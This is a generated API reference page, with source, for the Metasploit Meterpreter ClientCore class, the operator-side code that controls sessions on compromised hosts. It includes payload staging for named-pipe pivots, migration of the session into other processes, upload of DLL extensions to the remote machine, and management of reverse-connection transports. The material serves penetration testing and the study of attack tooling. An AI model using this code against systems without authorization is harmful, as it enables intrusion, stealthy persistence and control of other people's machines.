Class: Rex::Post::Meterpreter::ClientCore

Inherits:
Extension
  • Object
show all
Includes:
Rex::Payloads::Meterpreter::UriChecksum
Defined in:
lib/rex/post/meterpreter/client_core.rb

Overview

This class is responsible for providing the interface to the core client-side meterpreter API which facilitates the loading of extensions and the interaction with channels.

Constant Summary collapse

METERPRETER_TRANSPORT_TCP =
0
METERPRETER_TRANSPORT_HTTP =
1
METERPRETER_TRANSPORT_HTTPS =
2
VALID_TRANSPORTS =
{
    'reverse_tcp'   => METERPRETER_TRANSPORT_TCP,
    'reverse_http'  => METERPRETER_TRANSPORT_HTTP,
    'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
    'bind_tcp'      => METERPRETER_TRANSPORT_TCP
}

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Attribute Summary

Attributes inherited from Extension

#client, #name

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Constructor Details

#initialize(client) ⇒ ClientCore

Initializes the 'core' portion of the meterpreter client commands.


59
60
61
# File 'lib/rex/post/meterpreter/client_core.rb', line 59

def initialize(client)
  super(client, 'core')
end

Class Method Details

.extension_idObject


52
53
54
# File 'lib/rex/post/meterpreter/client_core.rb', line 52

def self.extension_id
  EXTENSION_ID_CORE
end

Instance Method Details

#create_named_pipe_pivot(opts) ⇒ Object

create a named pipe pivot


72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# File 'lib/rex/post/meterpreter/client_core.rb', line 72

def create_named_pipe_pivot(opts)
  request = Packet.create_request(COMMAND_ID_CORE_PIVOT_ADD)
  request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])


  c = Class.new(::Msf::Payload)
  c.include(::Msf::Payload::Stager)
  c.include(::Msf::Payload::TransportConfig)

  # Include the appropriate reflective dll injection module for the target process architecture...
  if opts[:arch] == ARCH_X86
    c.include(::Msf::Payload::Windows::MeterpreterLoader)
  elsif opts[:arch] == ARCH_X64
    c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
  end

  stage_opts = {
    force_write_handle: true,
    datastore: {
      'PIPEHOST' => opts[:pipe_host],
      'PIPENAME' => opts[:pipe_name]
    }
  }

  stager = c.new()

  stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
  stage = stager.stage_payload(stage_opts)

  request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
  request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)

  self.client.send_request(request)
end

#disable_ssl_hash_verifyObject

Disable the SSL certificate has verificate


555
556
557
558
559
560
561
562
563
564
565
# File 'lib/rex/post/meterpreter/client_core.rb', line 555

def disable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)

  # send an empty request to disable it
  client.send_request(request)

  return true
end

#enable_ssl_hash_verifyObject

Enable the SSL certificate has verificate


538
539
540
541
542
543
544
545
546
547
548
549
550
# File 'lib/rex/post/meterpreter/client_core.rb', line 538

def enable_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)

  hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
  request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)

  client.send_request(request)

  return hash
end

#get_loaded_extension_commands(extension_name) ⇒ Object

Get a list of loaded commands for the given extension.


110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# File 'lib/rex/post/meterpreter/client_core.rb', line 110

def get_loaded_extension_commands(extension_name)
  request = Packet.create_request(COMMAND_ID_CORE_ENUMEXTCMD)

  start = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(extension_name)
  request.add_tlv(TLV_TYPE_UINT, start)
  request.add_tlv(TLV_TYPE_LENGTH, COMMAND_ID_RANGE)

  begin
    response = self.client.send_packet_wait_response(request, self.client.response_timeout)
  rescue
    # In the case where orphaned shells call back with OLD copies of the meterpreter
    # binaries, we end up with a case where this fails. So here we just return the
    # empty list of supported commands.
    return []
  end

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
  elsif response.result != 0
    # This case happens when the target doesn't support the core_enumextcmd message.
    # If this is the case, then we just want to ignore the error and return an empty
    # list. This will force the caller to load any required modules.
    return []
  end

  commands = []
  response.each(TLV_TYPE_UINT) { |c|
    commands << c.value
  }

  commands
end

#get_session_guid(timeout = nil) ⇒ Object

Get the session GUID from the target session.


416
417
418
419
420
421
422
423
424
425
# File 'lib/rex/post/meterpreter/client_core.rb', line 416

def get_session_guid(timeout=nil)
  request = Packet.create_request(COMMAND_ID_CORE_GET_SESSION_GUID)

  args = [request]
  args << timeout if timeout

  response = client.send_request(*args)

  response.get_tlv_value(TLV_TYPE_SESSION_GUID)
end

#get_ssl_hash_verifyObject

Attempt to get the SSL hash being used for verificaton (if any).

Returns:

  • 20-byte sha1 hash currently being used for verification.


572
573
574
575
576
577
578
579
580
# File 'lib/rex/post/meterpreter/client_core.rb', line 572

def get_ssl_hash_verify
  # Not supported unless we have a socket with SSL enabled
  return nil unless self.client.sock.type? == 'tcp-ssl'

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)
  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
end

#load_library(opts) ⇒ Object

Loads a library on the remote meterpreter instance. This method supports loading both extension and non-extension libraries and also supports loading libraries from memory or disk depending on the flags that are specified

Supported flags:

LibraryFilePath The path to the library that is to be loaded

LibraryFileImage Binary object containing the library to be loaded (can be used instead of LibraryFilePath)

TargetFilePath The target library path when uploading

UploadLibrary Indicates whether or not the library should be uploaded

SaveToDisk Indicates whether or not the library should be saved to disk on the remote machine

Extension Indicates whether or not the library is a meterpreter extension


228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
# File 'lib/rex/post/meterpreter/client_core.rb', line 228

def load_library(opts)
  library_path = opts['LibraryFilePath']
  library_image = opts['LibraryFileImage']
  target_path  = opts['TargetFilePath']
  load_flags   = LOAD_LIBRARY_FLAG_LOCAL

  # No library path, no cookie.
  if library_path.nil? && library_image.nil?
    raise ArgumentError, 'No library file path or image was supplied', caller
  end

  # Set up the proper loading flags
  if opts['UploadLibrary']
    load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
  end
  if opts['SaveToDisk']
    load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
  end
  if opts['Extension']
    load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
  end

  # Create a request packet
  request = Packet.create_request(COMMAND_ID_CORE_LOADLIB)

  # If we must upload the library, do so now
  if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
    if library_image.nil?
      # Caller did not provide the image, load it from the path
      library_image = ''

      ::File.open(library_path, 'rb') { |f|
        library_image = f.read
      }
    end

    if library_image
      request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
    else
      raise RuntimeError, "Failed to serialize library #{library_path}.", caller
    end

    # If it's an extension we're dealing with, rename the library
    # path of the local and target so that it gets loaded with a random
    # name
    if opts['Extension']
      if client.binary_suffix and client.binary_suffix.size > 1
        /(.*)\.(.*)/.match(library_path)
        suffix = $2
      elsif client.binary_suffix.size == 1
        suffix = client.binary_suffix[0]
      else
        suffix = client.binary_suffix
      end

      library_path = "ext#{rand(1000000)}.#{suffix}"
      target_path  = "/tmp/#{library_path}"
    end
  end

  # Add the base TLVs
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)

  if !target_path.nil?
    request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
  end

  # Transmit the request and wait the default timeout seconds for a response
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)

  # No response?
  if response.nil?
    raise RuntimeError, 'No response was received to the core_loadlib request.', caller
  elsif response.result != 0
    raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
  end

  commands = []
  response.each(TLV_TYPE_UINT) { |c|
    commands << c.value
  }

  commands
end

#machine_id(timeout = nil) ⇒ Object

Get the machine ID from the target session.


430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
# File 'lib/rex/post/meterpreter/client_core.rb', line 430

def machine_id(timeout=nil)
  request = Packet.create_request(COMMAND_ID_CORE_MACHINE_ID)

  args = [request]
  args << timeout if timeout

  response = client.send_request(*args)

  mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)

  # Normalise the format of the incoming machine id so that it's consistent
  # regardless of case and leading/trailing spaces. This means that the
  # individual meterpreters don't have to care.

  # Note that the machine ID may be blank or nil and that is OK
  Rex::Text.md5(mid.to_s.downcase.strip)
end

#migrate(target_pid, writable_dir = nil, opts = {}) ⇒ Object

Migrates the meterpreter instance to the process specified by pid. The connection to the server remains established.


586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
# File 'lib/rex/post/meterpreter/client_core.rb', line 586

def migrate(target_pid, writable_dir = nil, opts = {})
  keepalive              = client.send_keepalives
  client.send_keepalives = false
  target_process         = nil
  current_process        = nil

  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
  client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')

  current_pid = client.sys.process.getpid

  # Find the current and target process instances
  client.sys.process.processes.each { | p |
    if p['pid'] == target_pid
      target_process = p
    elsif p['pid'] == current_pid
      current_process = p
    end
  }

  # We cant migrate into a process that does not exist.
  unless target_process
    raise RuntimeError, 'Cannot migrate into non existent process', caller
  end

  # We cannot migrate into a process that we are unable to open
  # On linux, arch is empty even if we can access the process
  if client.platform == 'windows'

    if target_process['arch'] == nil || target_process['arch'].empty?
      raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
    end
  end

  # And we also cannot migrate into our own current process...
  if current_process['pid'] == target_process['pid']
    raise RuntimeError, 'Cannot migrate into current process', caller
  end

  migrate_stub = generate_migrate_stub(target_process)
  migrate_payload = generate_migrate_payload(target_process)

  # Build the migration request
  request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)

  request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)
  request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
  request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])

  if target_process['arch'] == ARCH_X64
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64

  else
    request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
  end

  # if we change architecture, we need to change UUID as well
  if current_process['arch'] != target_process['arch']
    client.payload_uuid.arch = target_process['arch']
    request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )
  end

  # Send the migration request. Timeout can be specified by the caller, or set to a min
  # of 60 seconds.
  timeout = [(opts[:timeout] || 0), 60].max
  client.send_request(request, timeout)

  # Post-migration the session doesn't have encryption any more.
  # Set the TLV key to nil to make sure that the old key isn't used
  # at all.
  client.tlv_enc_key = nil

  if client.passive_service
    # Sleep for 5 seconds to allow the full handoff, this prevents
    # the original process from stealing our loadlib requests
    ::IO.select(nil, nil, nil, 5.0)
  elsif client.pivot_session.nil?
    # Prevent new commands from being sent while we finish migrating
    client.comm_mutex.synchronize do
      # Disable the socket request monitor
      client.monitor_stop

      ###
      # Now communicating with the new process
      ###

      # only renegotiate SSL if the session had support for it in the
      # first place!
      if client.supports_ssl?
        # If renegotiation takes longer than a minute, it's a pretty
        # good bet that migration failed and the remote side is hung.
        # Since we have the comm_mutex here, we *must* release it to
        # keep from hanging the packet dispatcher thread, which results
        # in blocking the entire process.
        begin
          Timeout.timeout(timeout) do
            # Renegotiate SSL over this socket
            client.swap_sock_ssl_to_plain()
            client.swap_sock_plain_to_ssl()
          end
        rescue TimeoutError
          client.alive = false
          return false
        end
      end

      # Restart the socket monitor
      client.monitor_socket
    end
  end

  # Renegotiate TLV encryption on the migrated session
  secure

  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
  client.ext.aliases.keys.each { |e|
    client.core.use(e)
  }

  # Restore session keep-alives
  client.send_keepalives = keepalive

  return true
end

#native_arch(timeout = nil) ⇒ Object

Get the current native arch from the target session.


451
452
453
454
455
456
457
458
459
460
461
# File 'lib/rex/post/meterpreter/client_core.rb', line 451

def native_arch(timeout=nil)
  # Not all meterpreter implementations support this
  request = Packet.create_request(COMMAND_ID_CORE_NATIVE_ARCH)

  args = [ request ]
  args << timeout if timeout

  response = client.send_request(*args)

  response.get_tlv_value(TLV_TYPE_STRING)
end

#negotiate_tlv_encryptionObject

Negotiates the use of encryption at the TLV level


745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
# File 'lib/rex/post/meterpreter/client_core.rb', line 745

def negotiate_tlv_encryption
  sym_key = nil
  rsa_key = OpenSSL::PKey::RSA.new(2048)
  rsa_pub_key = rsa_key.public_key

  request  = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
  request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)

  begin
    response = client.send_request(request)
    key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
    key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)

    if key_enc
      sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
    else
      sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
    end
  rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
    # 1) OpenSSL error may be due to padding issues (or something else)
    # 2) Request error probably means the request isn't supported, so fallback to plain
  end

  {
    key:  sym_key,
    type: key_type
  }
end

#secureObject


711
712
713
# File 'lib/rex/post/meterpreter/client_core.rb', line 711

def secure
  client.tlv_enc_key = negotiate_tlv_encryption
end

#set_session_guid(guid) ⇒ Object

Set the session GUID on the target session.


404
405
406
407
408
409
410
411
# File 'lib/rex/post/meterpreter/client_core.rb', line 404

def set_session_guid(guid)
  request = Packet.create_request(COMMAND_ID_CORE_SET_SESSION_GUID)
  request.add_tlv(TLV_TYPE_SESSION_GUID, guid)

  client.send_request(request)

  true
end

#set_transport_timeouts(opts = {}) ⇒ Object

Set associated transport timeouts for the currently active transport.


174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# File 'lib/rex/post/meterpreter/client_core.rb', line 174

def set_transport_timeouts(opts={})
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)

  if opts[:session_exp]
    request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
  end
  if opts[:comm_timeout]
    request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
  end
  if opts[:retry_total]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
  end
  if opts[:retry_wait]
    request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
  end

  response = client.send_request(request)

  {
    :session_exp  => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
    :retry_total  => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
    :retry_wait   => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
  }
end

#set_uuid(uuid) ⇒ Object

Set the UUID on the target session.


392
393
394
395
396
397
398
399
# File 'lib/rex/post/meterpreter/client_core.rb', line 392

def set_uuid(uuid)
  request = Packet.create_request(COMMAND_ID_CORE_SET_UUID)
  request.add_tlv(TLV_TYPE_UUID, uuid.to_raw)

  client.send_request(request)

  true
end

#shutdownObject

Shuts the session down


718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
# File 'lib/rex/post/meterpreter/client_core.rb', line 718

def shutdown
  request  = Packet.create_request(COMMAND_ID_CORE_SHUTDOWN)

  if client.passive_service
    # If this is a HTTP/HTTPS session we need to wait a few seconds
    # otherwise the session may not receive the command before we
    # kill the handler. This could be improved by the server side
    # sending a reply to shutdown first.
    self.client.send_packet_wait_response(request, 10)
  else
    # If this is a standard TCP session, send and forget.
    self.client.send_packet(request)
  end
  true
end

#transport_add(opts = {}) ⇒ Object

Add a transport to the session based on the provided options.


479
480
481
482
483
484
485
486
487
# File 'lib/rex/post/meterpreter/client_core.rb', line 479

def transport_add(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_ADD, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_change(opts = {}) ⇒ Object

Change the currently active transport on the session.


492
493
494
495
496
497
498
499
500
# File 'lib/rex/post/meterpreter/client_core.rb', line 492

def transport_change(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_CHANGE, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_listObject


144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# File 'lib/rex/post/meterpreter/client_core.rb', line 144

def transport_list
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_LIST)
  response = client.send_request(request)

  result = {
    :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
    :transports  => []
  }

  response.each(TLV_TYPE_TRANS_GROUP) { |t|
    result[:transports] << {
      :url            => t.get_tlv_value(TLV_TYPE_TRANS_URL),
      :comm_timeout   => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
      :retry_total    => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
      :retry_wait     => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
      :ua             => t.get_tlv_value(TLV_TYPE_TRANS_UA),
      :proxy_host     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
      :proxy_user     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
      :proxy_pass     => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
      :cert_hash      => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
      :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
    }
  }

  result
end

#transport_nextObject

Change the active transport to the next one in the transport list.


520
521
522
523
524
# File 'lib/rex/post/meterpreter/client_core.rb', line 520

def transport_next
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_NEXT)
  client.send_request(request)
  return true
end

#transport_prevObject

Change the active transport to the previous one in the transport list.


529
530
531
532
533
# File 'lib/rex/post/meterpreter/client_core.rb', line 529

def transport_prev
  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_PREV)
  client.send_request(request)
  return true
end

#transport_remove(opts = {}) ⇒ Object

Remove a transport from the session based on the provided options.


466
467
468
469
470
471
472
473
474
# File 'lib/rex/post/meterpreter/client_core.rb', line 466

def transport_remove(opts={})
  request = transport_prepare_request(COMMAND_ID_CORE_TRANSPORT_REMOVE, opts)

  return false unless request

  client.send_request(request)

  return true
end

#transport_sleep(seconds) ⇒ Object

Sleep the current session for the given number of seconds.


505
506
507
508
509
510
511
512
513
514
515
# File 'lib/rex/post/meterpreter/client_core.rb', line 505

def transport_sleep(seconds)
  return false if seconds == 0

  request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SLEEP)

  # we're reusing the comms timeout setting here instead of
  # creating a whole new TLV value
  request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
  client.send_request(request)
  return true
end

#use(mod, opts = { }) ⇒ Object

Loads a meterpreter extension on the remote server instance and initializes the client-side extension handlers

Module The module that should be loaded

LoadFromDisk Indicates that the library should be loaded from disk, not from memory on the remote machine


325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
# File 'lib/rex/post/meterpreter/client_core.rb', line 325

def use(mod, opts = { })
  if mod.nil?
    raise RuntimeError, "No modules were specified", caller
  end

  modnameprovided = mod
  suffix = nil
  if not client.binary_suffix
    suffix = ''
  elsif client.binary_suffix.size > 1
    client.binary_suffix.each { |s|
      if (mod =~ /(.*)\.#{s}/ )
        mod = $1
        suffix = s
        break
      end
    }
  else
    suffix = client.binary_suffix.first
  end

  # Query the remote instance to see if commands for the extension are
  # already loaded
  commands = get_loaded_extension_commands(mod.downcase)

  # if there are existing commands for the given extension, then we can use
  # what's already there
  unless commands.length > 0
    image = nil
    path = nil
    # If client.sys isn't setup, it's a Windows meterpreter
    if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank?
      # Query the payload gem directly for the extension image
      image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix)
    else
      # Get us to the installation root and then into data/meterpreter, where
      # the file is expected to be
      modname = "ext_server_#{mod.downcase}"
      path = MetasploitPayloads.meterpreter_path(modname, suffix)

      if opts['ExtensionPath']
        path = ::File.expand_path(opts['ExtensionPath'])
      end
    end

    if path.nil? and image.nil?
      raise RuntimeError, "No module of the name #{modnameprovided} found", caller
    end

    # Load the extension DLL
    commands = load_library(
        'LibraryFilePath' => path,
        'LibraryFileImage' => image,
        'UploadLibrary'   => true,
        'Extension'       => true,
        'SaveToDisk'      => opts['LoadFromDisk'])
  end

  # wire the commands into the client
  client.add_extension(mod, commands)

  return true
end

#valid_transport?(transport) ⇒ Boolean

Indicates if the given transport is a valid transport option.

Returns:

  • (Boolean)

737
738
739
740
# File 'lib/rex/post/meterpreter/client_core.rb', line 737

def valid_transport?(transport)
  return false if transport.nil?
  VALID_TRANSPORTS.has_key?(transport.downcase)
end